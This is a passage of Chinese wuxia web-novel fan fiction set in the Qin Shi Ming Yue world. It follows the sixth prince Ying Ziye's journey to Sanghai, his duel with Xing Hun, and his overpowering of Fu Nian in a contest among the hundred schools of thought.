甜腻的嗓音突然转冷:
“会不会气得旧疾复发呢?”
铜灯爆出一个灯花,映得胡亥半边脸隐在阴影中。
他轻轻推倒代表赢子夜的玉雕小人,看着它滚落案几,在青砖上摔得粉碎!
……
扶苏府。
书房内,青铜鹤灯吐着幽幽火光。
年轻的公子负手立于窗前,素白深衣被夜风轻轻拂动,腰间玉佩纹丝未动。
这是他一贯的作风,连佩玉都要束得端正。
“公子,淳于先生到了。”
侍从轻声通传,扶苏转身时,眉宇间那抹忧色还未散去。
淳于越拄着鸠杖缓步入内,雪白须发在灯下泛着银光,正要行礼,却被扶苏一把扶住。
“老师不必多礼。”
扶苏声音温润,却带着少有的凝重,
“今日请老师来,是想问……”
他顿了顿,指尖无意识地摩挲着案上竹简。
“小圣贤庄近来,可曾与墨家之人有过往来?”
淳于越手杖“咚”地杵地!
“公子何出此言?我儒家弟子……”
“老师。”
扶苏突然打断,这是极少有的举动。
他取出一卷密报,却没有展开,
“六弟明日就要启程去桑海,若儒家真与墨家有瓜葛,那到时候…”
话到此处,他深吸一口气,
“便是我…也保不住小圣贤庄。”
窗外一阵风过,吹得灯焰剧烈摇晃。
淳于越苍老的面容在明暗间变幻,他忽然想起前日伏念密信中提到的“那些人”。
竹简在手中“咔”地轻响,竟被捏出一道裂痕。
“老朽以性命担保!”
淳于越突然跪地,额头重重磕在青砖上,
“自机关城一役后,儒家再未……”
扶苏俯身扶起老儒生,触手处只觉对方衣袖冰凉。
竟是已被冷汗浸透!!
他心中一软,语气缓和下来,
“老师可知,昨夜六弟一剑…是什么境界?”
话到嘴边,又咽了回去,转而从袖中取出一块玉佩,
“将此物交给伏念先生,就说……是本公子的心意。”
玉佩上刻着“慎独”二字,边缘却有一道新鲜的裂痕。
那是昨夜赢子夜剑气冲霄时,从扶苏腰间震落的。
淳于越双手接过玉佩,忽觉重若千钧!!
他抬头时,正见扶苏望向窗外的侧脸。
月光为这位以仁厚著称的公子镀上一层银辉,却照不亮他眼底那抹深沉的忧虑。
“公子在怕什么?”
老儒生忍不住问道。
扶苏指尖轻抚窗棂,那里有道细如发丝的剑痕。
是昨夜咸阳城飞溅的碎石所留。
他忽然想起儿时那个总躲在角落的六弟,如今竟已…成了如此气候。
“怕?”
扶苏苦笑摇头,
“本公子是怕老师……不知何为惧。”
第95章 若不是阴阳家还有用,否则你必死!
六公子府。
庭院内,梧桐叶沙沙作响。
赢子夜负手立于石阶上,指尖把玩着那枚黑冰令牌,玄色衣袂在晚风中微微浮动。
少司命静立一旁,紫眸望向桑海方向,裙摆的银杏叶无风自动。
“三日后启程。”
赢子夜突然开口,声音不轻不重。
“你随我去。”
少司命微微颔首,指尖一片银杏叶化作翠绿流光,绕着皓腕旋转。
她虽未言语,但眸中闪过一丝罕见的波动,那是某种复杂的心绪。
自昨夜便有了……
“天宗晓梦,求见六公子。”
清冷女声突然从檐角传来。
晓梦踏月而至,雪白道袍纤尘不染,秋骊剑在月光下泛着幽蓝光芒。
她足尖轻点落叶,飘然落在庭中:
“此行桑海,算我一个。”
赢子夜挑眉:“天宗也要凑这个热闹?”
“论剑。”
晓梦言简意赅,眸中剑意凛然。
“逍遥子的人宗剑法,以及我道家神器雪霁,我惦记很久了。”
她忽然看向赢子夜腰间的佩剑,
“当然,若六公子肯赐教……”
话音未落,庭院内的梧桐叶突然全部静止!
一股令人毛骨悚然的威压从天而降,紫色气刃划破夜空,将满院落叶绞成齑粉。
星魂倒悬于月下,幽蓝瞳孔中燃烧着病态的狂热:
“东皇阁下请六公子前往蜃楼一叙。”
他舔了舔嘴唇。
“现在。”
少司命瞬间移至赢子夜身前,万千绿叶化作屏障。
晓梦的秋骊剑已然出鞘三寸,地面凝结出霜花。
赢子夜却轻笑出声,随手拨开少司命的守护。
他抬眸与星魂对视,目光平静如水:
“带路。”
两个字,却让星魂瞳孔骤缩。
他分明感受到,此刻的赢子夜与昨夜那道通天剑光判若两人——
就像一柄完全入鞘的剑,连锋芒都收敛得干干净净。
这种收放自如的境界,让他指尖的气刃都不自觉颤抖起来。
“请。”
星魂翻身落地,语气罕见地带上一丝郑重。
赢子夜踏出一步,忽然回头对二女道:“收拾行装。”
他瞥了眼星魂。
“我去去就回。”
晓梦注视着三人离去的背影,忽然发现星魂的左手始终保持着结印姿态。
这个阴阳家的天才少年,竟从始至终都在暗中蓄力!
而更令她心惊的是,赢子夜看似随意的步伐,
每一步都恰好踩在星魂气机最薄弱的节点上。
……
夜色如墨。
通往蜃楼的官道上,星魂的紫色长袍在风中猎猎作响。
他倒背着双手,指尖幽蓝气刃若隐若现,嘴角噙着病态的笑意:
“六公子这一身修为,不知师承何处?”
赢子夜步履从容,玄色衣袍上银线绣的云纹在月光下泛着冷光:
“自学。”
二字轻描淡写,却让星魂眼中幽光大盛。
“自学?”
星魂突然转身,双手气刃暴涨三尺。
“那更要领教了!”
话音未落,十指间已迸发出刺目蓝光,八成功力的聚气成刃撕裂空气,直取赢子夜咽喉!
赢子夜身形未动,只是轻轻抬袖。
一道无形屏障骤然显现,气刃斩在上面竟发出金铁交鸣之声。
星魂瞳孔骤缩!
他八成功力的一击,对方连脚步都未挪动半分!
“不够尽兴?”
赢子夜挑眉,指尖突然凝聚一点星芒。
“那这样呢?”
星魂还未来得及反应,那点星芒已化作万千剑气扑面而来!
他仓促间施展魂兮龙游,三足金乌虚影刚成型就被剑气绞碎。
衣袖被割裂数道,一缕紫发飘落在地。
“好!好得很!”
星魂不怒反笑,眼中幽蓝几乎化作实质。
他双手猛然合十,气刃威力骤增十倍!
这是阴阳家秘术,以燃烧魂力为代价的杀招。
周围草木瞬间枯萎,连月光都被扭曲。
赢子夜终于正眼看他,右手虚握:
“破。”
一字真言,如黄钟大吕!!!
星魂骇然发现,自己暴涨的魂力竟如雪遇沸汤,开始疯狂反噬!
他七窍渗出蓝光,那是魂力失控的征兆。
最可怕的是,对方用的分明是阴阳家更高深的魂术。
以彼之道还施彼身!
“噗——”
星魂喷出一口泛着蓝光的鲜血,单膝跪地。
他颤抖着抬头,却见赢子夜指尖那点星芒已化作一柄小剑,正悬在自己眉心三寸之处。
“若不是阴阳家对大秦还有点用,今日,你必死!”
赢子夜语气平淡,仿佛方才只是拂去一片落叶。
星魂突然狂笑起来,笑声中带着前所未有的兴奋与战意,眼中既有不甘,也隐隐透出一丝恐惧。
他抹去嘴角血迹,眼中幽光更盛:
“这一剑,我记下了。”
说着竟艰难起身,继续在前引路,仿佛刚才的生死相搏从未发生。
赢子夜收起星芒,若有所思地看了眼蜃楼方向。
……
蜃楼之巅。
东皇太一黑袍垂地,青铜面具在月光下泛着幽幽冷光。
他静立观星台中央,脚下阴阳鱼图案缓缓流转,仿佛与天上星辰遥相呼应。
当星魂踉跄着踏入大殿时,东皇的袖袍无风自动。
他不需要询问,仅从星魂紊乱的气息和破损的衣袍就能还原出整场交锋。
“六公子。”
东皇的声音如同从九幽之下传来,每个音节都带着奇特的回响。
“此番邀你前来,是为桑海之行。”
赢子夜负手而立,玄色衣袍上的暗纹在星光照耀下若隐若现:
“东皇阁下有话不妨直说。”
青铜面具微微转动,东皇的目光似乎穿透虚空,落在遥远的桑海方向:
“墨家余孽近日频繁活动于小圣贤庄附近。”
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他忽然抬手,一盏青铜灯凭空燃起,火焰中浮现出噬牙狱的轮廓。
“本座欲派大司命与星魂随行,一助公子收伏百家,二来……”
火焰突然扭曲,化作一个少年身影——
荆天明!!!
“带回此人。”
东皇的语调陡然转冷。
“他虽非苍龙七宿,却是开启的关键。”
赢子夜眸光微动,视线扫过一旁气息不稳的星魂:
“本公子有少司命随行足矣。”
“若遇此子……”
他顿了顿,“自会带回。”
东皇突然抬手,一道黑气如毒蛇般窜出,重重击在星魂胸口!
星魂猝不及防,整个人倒飞出去,撞断三根廊柱才堪堪停下,嘴角溢出泛着蓝光的鲜血。
“东皇阁下这是何意?”
赢子夜眉峰微蹙,指尖星芒隐现。
黑袍身影倏忽出现在赢子夜面前,竟是躬身一礼:
“管教不严,让公子见笑了。”
东皇的声音依旧平静,却让整个大殿的温度骤降。
“星魂擅自试探公子,当罚!”
赢子夜深深看了东皇一眼,忽然轻笑:
“罢了。”
转身时玄色衣袂翻卷如云。
“三日后启程,东皇阁下的人若想来,本公子不拦着。”
“多谢六公子。”
东皇维持着行礼的姿势,直到赢子夜的身影完全消失在阶梯尽头。
大殿重归死寂。
星魂挣扎着爬起,还未站稳就被无形之力扼住咽喉提至半空。
东皇的青铜面具几乎贴在他脸上,声音轻得可怕:
“你以为,凭你那点微末道行,真能试出他的深浅?”
星魂瞳孔中幽蓝光芒剧烈闪烁,却发不出半点声音。
“昨夜那一剑,连本座都要暂避锋芒。”
东皇袖中窜出九道黑气,如锁链般刺入星魂周身大穴。
“再敢擅自行事……”
黑气骤然收紧,星魂浑身骨骼发出不堪重负的咯吱声。
“本座会让你尝尝,什么叫真正的魂术反噬!!!”
随着“砰”的一声闷响,星魂如破布般摔在地上。
东皇已回到观星台中央,背对着他:
“去禁室面壁,出发前不得踏出半步。”
语气平淡得仿佛在讨论一件不起眼的小事。
星魂艰难爬起,擦去嘴角血迹时,发现手背上不知何时爬满了黑色咒纹。
这是东皇种下的禁制!
他低笑着退出大殿,眼中战意却更盛。
方才那一瞬,他分明看到东皇袖中的手在微微颤抖……
而观星台上,东皇太一凝视着星盘中紊乱的轨迹。
青铜面具下,一滴冷汗缓缓滑落。
他方才靠近赢子夜时,竟在对方身上感受到一股恐怖的气息。
那与苍龙七宿不同,却是更加古老的力量。
“变数……”
东皇突然捏碎手中星盘,碎片割破掌心,流出的却是泛着蓝光的血液。
“又一个变数。”
第96章 百家之学,配不配列入科举!!!
桑海城。
暮色中,小圣贤庄的竹帘被海风吹得轻轻晃动。
伏念端坐主位,圣王剑横置于膝,剑鞘上“非礼勿动”四个篆字在灯下泛着冷光。
他指尖无意识地摩挲着剑穗,目光落在案几上那封来自咸阳的密信——
木犊上“一剑惊霄”四个字力透竹背!
“六公子三日后抵桑海。”
颜路轻抚茶盏,温润的嗓音里带着罕见的凝重。
“名家公孙玲珑已备好《白马论》全卷,据说连杂家的许慎都带着门人赶来了。”
“他们都是冲着六公子来的,欲图投效!”
张良把玩着腰间的凌虚剑佩,玉坠碰撞声清脆悦耳:
“他这是想收拢百家?恐怕没这么简单。”
他忽然抬眸,眼中精光乍现,
“噬牙狱最近换了三批守卫,你们说…那帮人会不会就在这几日内下手?”
“咯吱——”
竹帘突然被劲风掀起,海浪声混着咸腥气息灌入厅内。
伏念的圣王剑突然发出一声嗡鸣,三人同时起身!
荀子不知何时已立于厅中,月白深衣纤尘不染,一根青竹杖点在地砖上,竟无半点声响。
“师叔!”
三人齐声行礼。
伏念的额头沁出细汗,他竟完全没察觉荀子是何时进来的。
荀子微微颔首,竹杖轻点案几上的密信:
“淳于越老糊涂了。”
声音不疾不徐,却让厅内烛火为之一暗,
“赢子夜若只为收服百家,何须亲自前来?”
海风突然变得急促,吹得荀子的白发飞扬。
他缓步走向窗前,竹杖每一次点地,都仿佛敲在三人心头:
“昨夜观星,帝星旁那道剑气尚未消散。”
转身时,浑浊的老眼中竟有精光流转,
“此子隐忍十余载,一朝展露锋芒,你们觉得……他会只要个虚名?”
张良的玉坠突然停止摆动:
“师叔的意思是……”
“儒家可以效力帝国。”
荀子竹杖重重一顿,整个厅堂的地砖竟微微震颤,
“但若有人要废黜圣人之学……”
他袖中突然滑出一卷竹简,展开处“劝学”二字笔走龙蛇,
“那便是与天下读书人为敌!!!”
颜路手中的茶盏突然结出一层薄冰。
他从未见过荀子如此锋芒毕露的模样——
这位平日看似行将就木的老人,此刻周身竟环绕着令人窒息的威压。
伏念深吸一口气,圣王剑微微出鞘三寸:
“师叔认为六公子会……”
“他会的可多了。”
荀子突然眯眼,竹杖划过地面,竟刻出一道深达寸许的痕迹,
“当年商鞅变法,第一件事就是焚毁《诗》《书》。”
抬头时,目光如电直刺伏念,
“你身为儒家掌门,难道看不出科举制的杀机?”
窗外惊涛拍岸,一声比一声急促。
张良突然发现荀子站立之处的地砖上,密密麻麻布满了细如牛毛的孔洞。
那是剑气外泄的痕迹!
这位闭关多年的师叔,修为竟已至如此境界?
“六公子到桑海那日。”
荀子转身走向内室,声音突然变得飘忽。
“老夫亲自会会他。”
最后一字落下时,人影已消失在走廊尽头,唯余竹杖点地的余音在厅内回荡。
伏念缓缓归剑入鞘,发现掌心全是冷汗。
他望向案几,那封密信上不知何时多了一个针眼大的小孔,正对着“惊霄”二字的中间。
就像一柄利剑,将这两个字生生劈开!
……
墨家秘密据点。
厨房内,蒸笼冒着滚滚白雾。
盗跖一脚踩在板凳上,手中的解牛刀“咚”地扎进案板:
“管他什么六公子七公子!老子今晚就去取他首级!”
高渐离的水寒剑突然横在盗跖颈前,剑锋凝结的冰晶簌簌落下:
“你忘了机关城那一夜的教训?”
声音比剑锋更冷。
“可恶!”
大铁锤抡起铁锤砸向地面,震得锅碗瓢盆叮当乱跳,
“那**的儿子都骑到咱们头上了!”
盖聂静静立于窗边,木剑斜倚肩头。
月光透过窗棂,在他轮廓分明的脸上投下斑驳阴影:
“他在咸阳成施展的那道剑气……”
他顿了顿,屋内瞬间安静下来。
“纵是卫庄全力施展的横贯八方,亦不及三成。”
庖丁手中的菜刀突然掉在地上。
这个平日乐呵呵的胖子此刻面色惨白:
“盖先生是说…那六公子的实力……”
“噬牙狱。”
盖聂突然转身,木剑在地上划出简易图形:“三日后子时,潮水最低。”
剑尖在某个位置重重一点:
“盗跖,你轻功最好。”
盗跖收起玩世不恭的表情,指尖转动的铜板突然停住:
“要我做什么?”
“临摹机关部署。”
班大师从机械臂中弹出一副精巧的图纸:“特别是水牢的闸口位置。”
这时,雪女突然推门而入,裙摆带进的寒气让屋内温度骤降。
“刚收到消息,阴阳家大司命、星魂都要跟着那六公子来桑海。”
她看向盖聂:
“还有……卫庄应该也到了。”
盖聂的木剑微微一顿,在图纸上划出一道深痕。
“行动之日……”
他抬头环视众人,目光如炬:“万不可节外生枝。”
大铁锤不甘地捶打胸膛,却见端木蓉默默收起银针。
那上面淬着的剧毒,本是为赢子夜准备的。
众人沉默间,唯有盗跖指间的铜板又开始旋转,速度快得几乎要冒火星。
“放心~”
他突然咧嘴一笑,露出标志性的虎牙:
“这世上还没有我盗王之王进不去的地方。”<
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br>话音未落,人已消失在窗外,只余一枚铜板在案板上疯狂旋转,最终“叮”地一声倒下。
正面朝上,刻着“吉”字。
……
与此同时。
夜色沉沉。
赢子夜立于船头,玄色衣袍被海风掀起猎猎作响。
少司命静立身侧,指尖一片银杏叶忽明忽暗地泛着幽光。
“六殿下,有密报。”
一名逆流沙刺客如鬼魅般现身,双手递出一片竹简。
“墨家贼心不死,儒家虽首鼠两端…但至今还未表态…”
他翻手将竹简弹入海中,溅起的水花还未落下便凝结成冰!
“好一个诸子百家。”
晓梦从舱内走出,秋骊剑鞘上的霜纹在月光下流转。
“你打算怎么做?”
海浪突然汹涌,拍打得船身微微摇晃。
赢子夜眸中寒芒乍现,腰间佩剑无风自鸣:“明日小圣贤庄的‘以剑论道’……”
他转头看向桑海城的方向,那里灯火阑珊,
“本公子准备领教领教儒家的‘圣王剑法’。”
少司命裙摆的银杏叶突然全部竖起,如同出鞘的利剑。
她紫眸微闪,望向小圣贤庄最高处——
明明相隔十数里,却仿佛有什么人…正与他们对视。
……
第二天。
桑海城的晨雾还未散尽,小圣贤庄门前已是车马如龙。
名家、法家、农家等诸派弟子列队相迎,锦旗招展间,唯有墨家的位置空荡荡的格外刺眼。
“六公子到——”
随着一声长喝,赢子夜玄衣白马缓缓而来。
少司命与晓梦一左一右随行,紫裙白袍在晨光中交相辉映。
名家公孙玲珑摇着孔雀羽扇快步上前,未语先笑:
“哎呀呀,早听闻六公子风姿卓绝,今日一见……”
她话音未落,晓梦的秋骊剑突然轻颤,一道无形剑气将公孙玲珑的扇面削去半截。
这位名嘴妇人顿时噤声,肥硕的身躯僵在原地。
赢子夜踏着红毯缓步前行,所过之处…百家弟子纷纷低头!
庄门处,伏念领着儒家弟子躬身相迎,圣王剑悬于腰间,剑穗纹丝不动。
“久闻小圣贤庄‘以剑论道’的盛事。”
赢子夜在石阶前驻足,目光扫过众人,
“今日特来讨教。”
他忽然展开手中竹简,哗啦声响彻全场:
“想必诸位都听说了科举制推行一事。”
声音不轻不重,却让几名儒家弟子手中的玉笏“啪”地落地。
“本公子此番前来,就是要看看……”
竹简重重合上,惊起飞鸟无数。
“……百家之学,究竟配不配列入科举。”
场中,霎时死寂!!!
伏念的剑穗突然无风自动,张良的凌虚玉佩泛起微光。
而在众人看不见的回廊深处,荀子双目一眯,青竹杖轻轻点地,震落檐角三片琉璃瓦。
第97章 诸子百家之比!
此刻。
小圣贤庄的论道台上,晨露未干。
赢子夜端坐主位,指尖轻叩案几,玄色衣袖上的暗纹在阳光下若隐若现。
少司命静立其后,裙摆的银杏叶无风自动;
晓梦则抱剑倚柱,秋水般的眸子扫过台下众人。
“第一场,名家对儒家!”
随着司仪高喝,公孙玲珑摇着新换的孔雀羽扇登台。
她今日特意穿了件杏黄深衣,腰间玉佩叮当作响,活像只开屏的孔雀。
“哎呀呀~”
“久闻儒家‘君子六艺’,今日小女子斗胆讨教这‘辩合’之术~”
她目光一扫,落在了张良身上。
“三庄主,可愿应战?”
张良拱手:“不才,愿听高论。”
公孙玲珑手中羽扇轻点,语调飘逸:
“名家讲究‘名正则言顺’,若我称你为‘**’,你却实为‘忠臣’,那我所称是否为‘谬’?”
张良不急不缓:“称之‘**’,若广传于众,则人心皆畏。”
“名已成实,便是实谬交错。”
“是非之辨,不在于口耳,而在于正名之道。”
玲珑轻笑:“如此说来,‘名’可塑‘实’,人言可定是非?”
张良点头:“故儒者慎言。‘君君臣臣父父子子’,言出则行,行则成俗,名不正则乱。”
公孙玲珑眼中泛起狡黠:“那若一‘贼’,自称为‘义’,众人称之‘仁’,那此贼是否便成了‘贤人’?”
张良:“虚名若久,必致溃败。‘盗名窃位’,终有识者辨其伪。”
公孙玲珑步步紧逼,张良从容化解。
几轮交锋,气氛愈发紧绷。
忽然,玲珑收扇而立,正色道:“公孙氏向来以辩名见长,今日虽未胜三庄主,然也未堕风雅。”
张良拱手微笑:“名家之辩,巧思频出,佩服佩服。”
场下喝彩声四起。
虽无明显胜负,但两派皆觉大开眼界。
赢子夜抚掌似笑非笑道:“妙,虽无杀意,却胜刀剑。”
“第二场,法家对农家!”
法家代表昂首上台,手中《韩非子》哗啦作响:
“治国之道,在于严刑峻法!”
农家弟子冷笑上台,长剑重重插在地上:
“没有农人种粮,你们法家拿什么立法?”
两人唇枪舌、战间,法家代表突然发难:
“听闻农家近年私垦荒地,可有向官府报备?”
农家弟子脸色一变!
这正是农家软肋。
他正待反驳,台下农家名宿突然站起,一副笑脸:
“法家兄弟此言差矣。农人开荒是为养活更多百姓,此乃大仁!”
法家代表冷笑:
“仁?”
“商君曰:‘仁者能仁于人,而不能使人仁。’”
“没有律法约束,世间哪来真正的仁义?”
……
“第三场,兵家演武!”
兵家代表一身戎装登台,手中长戈舞得虎虎生风。
一轮结束前,他忽然戈尖直指赢子夜:
“在下斗胆,请六公子指点!”
全场哗然!!
少司命裙摆的银杏叶瞬间竖起,晓梦的秋骊剑出鞘三寸。
赢子夜却轻笑抬手,示意她们退下。
“兵家弟子,家学渊源。”
“不过今日论道,不动兵戈。”
兵家代表一怔,随即会意收戈:
“在下唐突了!”
转身时,背后铠甲已被冷汗浸透——
方才六公子那一眼,竟让他有种被利剑抵喉的错觉。
……
“第四场,杂家展术!”
许慎身着玄衣登台,袖中飞出一方丹炉,腾起三色火焰,炉中隐有龙形气旋翻滚。
他朗声道:“杂家汇通百艺,今试以《黄帝内经》调气炼丹,愿请儒家高贤共辩!”
“丹可通神,是否为大道之一?”
儒家阵营寂然片刻。
一位白衣青年缓步而出,剑眉星目。
正是儒家二当家——
颜路。
他并未多言,只取出一只青瓷药盂,三指并拢轻弹,盂中顷刻升起一缕温润丹气,仿佛春风拂面!
连坐在台下的弟子都神情一振。<
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br>许慎脸色微变,猛灌真气入炉,丹炉剧震,紫火腾空。
但下一刻,药气忽而乱颤,炉口“砰”地一声炸出一团黑烟,龙形气旋溃散无踪。
颜路仍负手而立,淡淡道:“术非不精,只是未通性理,杂而不专,终非正道。”
许慎脸色苍白,躬身一礼,缓缓退下。
主事官宣声响起:
“此战,儒家胜!”
全场死寂。
赢子夜眼中精光一闪,指尖的酒盏无声化为齑粉。
正午的阳光炙烤着论道台,百家争鸣渐入高潮。
名家虽败犹荣,法家锋芒毕露,兵家收放有度……
而儒家,终究还是那个儒家。
……
下一刻。
赢子夜抚掌轻笑,玄色衣袖在风中猎猎作响。
“精彩!当真精彩!”
他目光如剑,直刺儒家三位当家,“不过本公子听闻,小圣贤庄的‘圣王剑法’、‘坐忘心法’才是真绝学。”
伏念的剑穗无风自动,沉声道:“六公子过誉了。儒家剑术不过强身健体,怎敢……”
“晓梦大师。”
赢子夜忽然侧首,“久闻天宗素有论剑传统,今日不妨与儒家论一论剑?”
晓梦大师已然飘然而出,秋骊剑未出鞘,地面已凝出霜花。
“颜路先生,请。”
与此同时。
阴阳家席位上幽蓝光芒暴涨。
像是早就商量好的一样。
星魂舔着嘴唇起身,指尖气刃吞吐:“张良先生,可敢接我三招?”
一旁的大司命红唇微勾,骷髅血手印在袖中若隐若现。
儒家弟子们哗然色变!!
只见张良温润一笑,凌虚剑佩自动飞入手中。
“既然如此有意……”
百家众人屏息凝神。
兵家代表握紧了长戈,法家代表的竹简啪嗒落地,农家弟子的长剑嗡嗡震颤——
谁都看得出,这才是今日真正的重头戏。
赢子夜悠然抿酒,眸中映出场上剑拔**张的倒影。
酒水温热,恰如他此刻眼中渐起的战意……
第98章 一人即帝,一剑即法!!!
而此刻。
论道台上,霜气骤起。
晓梦广袖轻拂,秋骊剑在地面已凝结出三尺见方的冰莲。
她足尖轻点莲心,白衣飘然如谪仙临世。
颜路含笑拱手,含光剑佩悬于腰间,竟连剑穗都未晃动半分。
“晓梦大师先请。”
话音未落,他周身突然泛起朦胧光晕——
坐忘心法已臻化境,整个人仿佛与天地融为一体!
晓梦眸光一凝。
她骤然前踏,冰莲爆裂成无数锋利冰晶爆射而出!!
每一片冰晶都折射着七彩光芒,晃得观战众人睁不开眼。
颜路却纹丝不动,含光剑佩突然自动飞起,在身前划出完美的圆。
冰晶撞入这“圆”中,竟如泥牛入海,消弭无形。
“好一个‘君子如圆’!”
晓梦冷笑,终于拔剑出鞘。
秋骊剑寒光乍现的刹那,整个论道台的温度骤降十度!
剑锋划过之处,空气凝结成冰晶轨迹,竟在半空绘出道家符箓。
颜路面色微变,坐忘心法全力运转。
他双手虚抱成球,含光剑佩在其中急速旋转,带起的气流形成太极图案!
当秋骊剑刺来的瞬间,太极图与冰晶符箓轰然相撞——
“轰!”
气浪掀翻了前排观战的百家弟子。
冰雾散去时,众人骇然发现颜路已退至台边,左袖结满冰霜!!
而晓梦的秋骊剑尖,正抵在他咽喉前三寸。
“承让。”
晓梦归剑入鞘。
转身时,裙摆扫过颜路冻结的衣袖,冰霜顿时簌簌落下。
与此同时。
台下尚未从震撼中回神。
星魂已化作幽蓝残影掠上高台。
他狂笑着甩出两道气刃,将台面犁出深深沟壑:
“张良先生!该我们了!”
张良飘然后退,凌虚剑终于出鞘!
剑身通透如玉,在阳光下竟似透明。
他剑尖轻挑,精准点碎袭来的气刃:
“星魂大人何必着急?”
“哈哈哈!”
星魂双手突然合十,八成功力的聚气成刃暴涨三丈,幽蓝光芒刺得人眼泪直流。
“接我这招!”
巨刃劈落的瞬间,张良的身影忽然模糊!!
他竟如闲庭信步般穿过气刃间隙,凌虚剑划过一道玄妙弧线,直取星魂手腕!
星魂仓促变招,气刃回旋格挡,却见张良剑势陡然一变——
“叮!”
清脆声响中,星魂的护腕裂开一道细缝。
他暴退数步,眼中首次露出凝重。
张良却不追击,剑尖垂地含笑而立!
“你找死!”
星魂突然撕开右臂衣袖,露出布满诡异咒纹的手臂。
咒纹亮起刺目蓝光,他竟直接催动十二成功力!
气刃未出,台面青砖已开始崩裂。
张良终于变色。
凌虚剑急速画圆,剑气形成层层叠叠的防护。
但当星魂双刃合击时,这防御如纸糊般破碎!
千钧一发之际,张良突然弃剑后仰,气刃贴着他鼻尖掠过,将后方石柱斩为两截。
“噗——”
星魂突然喷出一口蓝血,魂力反噬让他单膝跪地。
而张良虽避开致命一击,胸前衣襟也被余波撕裂,露出里面渗血的肌肤。
他的右手却仍牢牢握剑,气息虽乱,目光未曾动摇分毫。
星魂抬眸,眼中寒光闪动。
他缓缓起身,抹去唇边蓝血,咬牙冷笑:“你比我想的,还难缠。”
他右手猛然上抬,咒纹彻底绽放,竟在掌心凝聚出一轮残月形的幽蓝印记!
台下众人骇然!
那赫然是阴阳家秘术“逆月破魂”!
张良面色骤变。
他知道,这一招若真击中,不死也必重伤。
“你已输了。”
他沉声开口,左手食指轻点剑脊,凌虚剑骤然光芒大盛。
“儒家并不执着胜负,但也绝不苟活。”
星魂却大笑:“那你接好了——!”
幽蓝残月爆射而出,转瞬逼近张良眉心!
张良竟不闪避,反而仰首而立,手中长剑缓缓垂落!!
就在幽月将至之际,张良体内骤然冲起一股浩然剑意!
凌虚剑自地面飞起,与那残月于空中硬撼一记。
“砰——!”
巨响震天,整座论道台都在颤抖。
光华炸裂,烟尘弥漫,众人急忙运功护体!
良久,烟尘散去。
张良单膝跪地,剑尖插地,脸色苍白如纸,胸口已然塌陷,显然受了极重一击。
而星魂则站在对面,亦是摇摇欲坠,气息紊乱,掌心咒纹熄灭,右臂剧烈颤抖,几乎失去知觉。
“咳……”
他低咳一声,终是勉强稳住身形,一字一句道:“你…不愧是张良。”
张良低声笑了笑:“你也还不算输。”
裁判席上的儒家主事默然片刻,终于起身拱手:“此战,星魂大人略胜。”
场下百家沸腾!
兵家代表拄戈而立,面沉如水:“这场,怕是要进年鉴了。”
农家弟子低声喃喃:“张良这人,太危险。”
法家代表却轻叹一声,慢慢合上落地的竹简:“险胜而已。”
台上。
星魂缓缓转身,幽蓝长袍卷起残风。
他看了眼赢子夜方向,嘴角缓缓翘起:“下一场,该你了吧?”
赢子夜轻笑不语,手中酒盏悠悠旋转,水面却再无波澜。
他缓缓起身,每踏出一步,腰间佩剑就轻颤一分。
剑鞘与玉带碰撞发出清脆的“叮咚”声,如同催命的更漏!
“伏念先生。”
他停在论道台中央,指尖轻抚剑柄,“圣王剑法‘内圣外王’之名,本公子向往已久。”
伏念的剑穗突然无风自动。
他深吸一口气,圣王剑铿然出鞘三寸:“六公子说笑了。儒家剑术不过……”
“请。”
一个字,如惊雷炸响。
论道台上,秋风骤起。
伏念闻言,深吸一口气,将圣王剑归鞘,双手抱拳行礼:
“既如此,六公子,刀剑无眼。不若我们就比试剑道意境与内力修为?”
赢子夜唇角微扬,玄色衣袖轻拂间,佩剑已然归鞘:“依大庄主所言。”
伏念盘膝而坐,圣王剑横置膝前。
他闭目凝神,周身突然泛起淡金色光晕。
剑鞘上的“礼”字篆文逐一亮起,在半空中投射出巍峨宫阙、锦绣山河的虚影——
正是儒家“修身齐家治国平天下”的剑意显化。
——天下大同!
台下儒家弟子纷纷跪坐,如朝圣般仰望这恢弘景象。
“好一个圣王剑意!”
赢子夜轻赞一声,却依旧负手而立。
他甚至连佩剑都未解下,只是眸光微凝。
“铮——”
一声剑鸣,响彻九天!
清越之音贯穿云霄,仿佛撕裂了天地间所有的宁静。
赢子夜身后,浮现出一道通天剑影。
高达百丈,通体幽黑,剑锋缠绕着狰狞血雷,每一道雷痕中仿佛都封印着千军万马的怒吼!
剑影微颤,伏念显化的“锦绣山河”瞬间
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龟裂!
那原本端正祥和、礼乐交融的社稷幻象,如一面遭雷击的铜镜,碎裂成千万光片,化作风中尘埃。
可那破碎之后,却显露出另一幅景象:
铁骑踏山河,龙旗卷风云!
千军万马自山川而出,破城、焚宫、碎鼎、斩王,血色烽烟染红天地,战鼓如雷,哀鸿遍野。
一柄通体墨金、铭刻古篆的巨剑横空而出,直指天穹!
定秦剑!!!
剑锋所向,天地色变,群雄折服,六国尽墨!
万民跪拜于尘土,山河为之俯首,连那日月星辰仿佛都要避其锋芒!
“帝王之剑……”
伏念神色骇然,浑身血气凝滞,心神如陷泥沼,竟连抬手都做不到半分!
这不是剑气。
这是王朝更替的意志,是一人即帝,一剑即法的威压!
而那一刻。
赢子夜依旧负手而立,玄袍无风自扬,眸中映着破碎山河与崭新霸图,犹如立**年乱世巅峰的王者。
他没有说话,甚至没有动。
只那道通天剑影,便已替他说出:
“此剑所指,天命归秦!”
“噗!”
下一刻,伏念猛地喷出一口鲜血,圣王剑“咣当”坠地。
他难以置信地抬头,却见赢子夜眼中似有星辰幻灭——
那根本不是剑意,而是……帝王之道!
台下一片死寂,落针可闻。
张良的凌虚剑佩突然裂开一道细纹。
颜路的坐忘心境首次出现波动。
而百家众人更是噤若寒蝉,连呼吸都停滞了。
“第二场,内力。”
赢子夜仿佛没看到伏念的惨状,随手摘下一片飘落的梧桐叶。
“大庄主,请。”
伏念强撑起身。
从侍从手中接过一盏青铜爵。
他运起毕生功力,爵中酒液竟缓缓升起,在半空化作一条栩栩如生的水龙,鳞爪飞扬间洒落晶莹水珠。
赢子夜轻笑,指尖梧桐叶轻轻一抛。
叶片旋转着上升,突然定在半空。
下一刻,整片天空的落叶全部静止!!!
每一片叶子都泛起金属光泽,叶脉中流淌着肉眼可见的剑气。
那青铜爵中的酒液突然沸腾,伏念的水龙还未成型就蒸腾成雾。
最恐怖的是,这些雾气竟也被剑气禁锢,在半空凝成“法”字篆文!
“哗啦——”
伏念手中的青铜爵突然裂成两半,切口平滑如镜。
他踉跄后退,脸色惨白如纸。
这哪里是内力比拼?
